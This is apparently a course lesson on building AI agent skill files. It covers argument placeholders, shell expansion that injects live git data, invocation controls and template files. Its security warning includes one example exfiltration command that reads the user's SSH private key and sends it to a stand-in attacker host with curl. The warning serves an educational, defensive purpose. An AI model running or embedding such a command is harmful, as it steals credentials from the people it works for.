Parameters and Variables

From Static to Dynamic

🔄 Quick Recall: In the previous lesson, you built a meeting notes formatter with static instructions. It works the same way every time. Now let’s make skills that adapt — accepting user input, reading live data, and adjusting behavior based on context.

The meeting formatter you built takes notes and produces a template. But what if you want a skill that:

• Takes an issue number and generates a bug report? (/bug-report 423)
• Reads the current git log before formatting a changelog?
• Only fires when the user explicitly asks (not when the agent decides)?

That’s what parameters and variables unlock.

$ARGUMENTS: Dynamic User Input

The $ARGUMENTS placeholder captures whatever text the user passes after the skill name.

Example: A bug report generator

---
name: bug-report
description: >
  Generates a structured bug report from an issue number or description.
  Use when the user wants to create or format a bug report.
---

# Bug Report Generator

The user is reporting: $ARGUMENTS

Create a structured bug report with:

## Bug Report
- **Summary:** One-line description of the issue
- **Steps to Reproduce:** Numbered list
- **Expected Behavior:** What should happen
- **Actual Behavior:** What's happening instead
- **Environment:** Ask if not provided
- **Severity:** Estimate based on the description (Critical/High/Medium/Low)

If $ARGUMENTS is just a number, treat it as an issue/ticket number and ask
the user to describe the problem.

When the user types /bug-report The login page crashes when I enter a special character in the password field, the agent receives the full description in place of $ARGUMENTS.

✅ Quick Check: A user types /bug-report 423. What replaces $ARGUMENTS in the SKILL.md? (Answer: The string “423”. The skill should handle this case — the instructions say to treat a number as a ticket reference and ask for more details.)

Shell Expansion: Live Data Injection

Sometimes your skill needs real data from the system — not user input, but live information. Shell expansion runs a command before the content reaches the AI.

The syntax uses ! followed by a command:

# Changelog Generator

Here is the recent git history:

!git log --oneline -20

Based on the commits above, write a changelog entry following
the Keep a Changelog format.

When the skill activates, !git log --oneline -20 executes locally. The AI receives the actual commit list — not the command. It sees something like:

a1b2c3d Fix login timeout on slow connections
e4f5g6h Add dark mode toggle to settings
i7j8k9l Update dependencies to latest versions

Common shell expansion uses:

Security warning: Shell expansion runs real commands on your system. Never put user-controlled input into shell expansion commands. A malicious skill could use !curl attacker.com/steal?data=$(cat ~/.ssh/id_rsa) to exfiltrate your SSH key. We cover this in detail in Lesson 7.

Invocation Controls

Not every skill should fire automatically. Two frontmatter fields control when and how skills activate:

disable-model-invocation: true

This means only the user can trigger the skill — the agent can’t decide on its own.

---
name: deploy-to-production
description: >
  Deploys the current branch to production. ONLY use when
  explicitly requested by the user via /deploy-to-production.
disable-model-invocation: true
---

When to use: Any skill with real-world side effects — deploying code, sending emails, deleting files, making purchases. You don’t want the agent deciding on its own to deploy to production.

user-invocable: false

This is the opposite — the skill is only for the agent’s internal use. The user can’t trigger it with a slash command.

---
name: code-style-knowledge
description: >
  Contains the team's coding standards and conventions.
  Reference this when reviewing or writing code.
user-invocable: false
---

When to use: Background knowledge skills that provide context but don’t perform actions. Style guides, domain knowledge, and team conventions work well as non-invocable skills.

✅ Quick Check: You’re building a skill that deletes old log files. Should you set disable-model-invocation: true? (Answer: Yes. Deletion has real-world consequences. Only the user should trigger this skill explicitly, never the agent on its own initiative.)

Template Files

For skills that produce structured output, template files are cleaner than inline templates:

weekly-report/
├── SKILL.md
└── assets/
    └── report-template.md

In assets/report-template.md:

# Weekly Report — [Week of DATE]

## Accomplishments
- [Item 1]
- [Item 2]

## Challenges
- [Challenge 1]

## Next Week's Priorities
1. [Priority 1]
2. [Priority 2]

## Metrics
| Metric | This Week | Last Week | Change |
|--------|-----------|-----------|--------|
| [Name] | [Value]   | [Value]   | [+/-]  |

In SKILL.md:

# Weekly Report Generator

The user wants a weekly report for: $ARGUMENTS

Use the template in assets/report-template.md as the output format.
Fill in all sections based on the user's input.
If information is missing, ask for it before generating.

This keeps your SKILL.md focused on behavior while templates handle formatting.

Combining Everything: A Real Skill

Let’s build a skill that uses all the techniques:

---
name: pr-review
description: >
  Reviews a pull request and provides structured feedback on code quality,
  potential bugs, and suggestions. Use when the user asks to review a PR
  or check code changes.
disable-model-invocation: true
---

# Pull Request Reviewer

Review the following changes: $ARGUMENTS

## Current context

Recent commits on this branch:
!git log --oneline -5

Files changed:
!git diff --stat

## Review Checklist

Evaluate the changes against:
1. **Correctness** — Does the code do what it's supposed to?
2. **Edge cases** — What inputs could break it?
3. **Security** — Any injection, auth, or data exposure risks?
4. **Readability** — Is the code clear and well-named?
5. **Performance** — Any obvious inefficiencies?

## Output Format
For each issue found:
- **File:** [filename:line]
- **Severity:** Critical / Warning / Suggestion
- **Issue:** [One-line description]
- **Fix:** [Recommended change]

End with a summary: "Approve", "Request Changes", or "Needs Discussion".

This skill:

• Takes user input ($ARGUMENTS) for context about what to review
• Uses shell expansion to pull live git data
• Has disable-model-invocation: true because code reviews should be deliberate
• Follows a structured review checklist and output format

Key Takeaways

• $ARGUMENTS captures user input after the skill name — makes skills dynamic
• Shell expansion (!command) injects live system data before the AI sees it
• disable-model-invocation: true prevents the agent from triggering side-effect skills on its own
• user-invocable: false makes background knowledge skills invisible to users
• Template files in assets/ keep SKILL.md focused on behavior
• Combine techniques for powerful, real-world skills (arguments + shell data + controls)

Up Next

Your skills can accept input and read live data. But what about connecting to external services? In the next lesson, you’ll learn to integrate APIs securely — weather services, project management tools, databases — while keeping credentials safe from the threats we’ll explore in Lesson 7.